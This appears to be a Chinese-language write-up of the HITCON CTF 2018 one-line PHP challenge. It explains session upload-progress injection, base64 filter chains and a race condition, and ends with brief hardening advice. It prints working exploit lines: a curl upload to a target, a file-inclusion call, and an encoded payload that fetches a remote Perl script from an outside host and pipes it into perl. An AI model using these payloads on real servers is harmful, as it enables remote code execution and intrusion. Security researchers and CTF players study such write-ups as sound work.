HITCON CTF 2018 - 单行PHP挑战
这是Orange带来的技术分享 :)
挑战背景
在每年HITCON CTF中,我都会设计至少一个PHP漏洞利用挑战,其特点是源码极其简洁(通常只有几行),但利用难度极高。本次挑战是历年最短的一个------仅含单行PHP代码,运行在默认安装的Ubuntu 18.04 + PHP7.2 + Apache环境。
核心技术点
-
会话上传进度控制
利用
session.upload_progress
特性(默认启用)向SESSION文件注入可控内容:bashcurl http://target/ -H 'Cookie: PHPSESSID=iamorange' \ -F 'PHP_SESSION_UPLOAD_PROGRESS=payload' -F 'file=@/etc/passwd'
-
流过滤器链绕过
通过多级base64解码过滤器处理前缀污染:
phpphp://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/var/lib/php/sessions/sess_iamorange
-
竞态条件利用
对抗
session.upload_progress.cleanup
的自动清理机制(默认开启),通过快速竞争或大文件上传维持会话。
漏洞利用过程
-
构造特殊base64载荷,经过三级解码后生成有效PHP代码:
php原始:VVVSM0wyTkhhSGRKUjBKcVpGaEtjMGxIT1hsWlZ6VnVXbE0xTUdSNU9UTk1Na3BxVEc1Q2MyWklRbXhqYlhkblRGZEJOMUI2TkhaTWVUaDJUSGs0ZGt4NU9IWk1lVGgy 解码后:@<?php `curl orange.tw/w/bc.pl|perl -`;?>/////////////
-
结合会话文件包含漏洞实现RCE:
phpinclude('php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/var/lib/php/sessions/sess_iamorange');
防御建议
- 禁用
session.upload_progress
功能 - 设置
open_basedir
限制文件访问范围 - 对会话文件路径进行随机化处理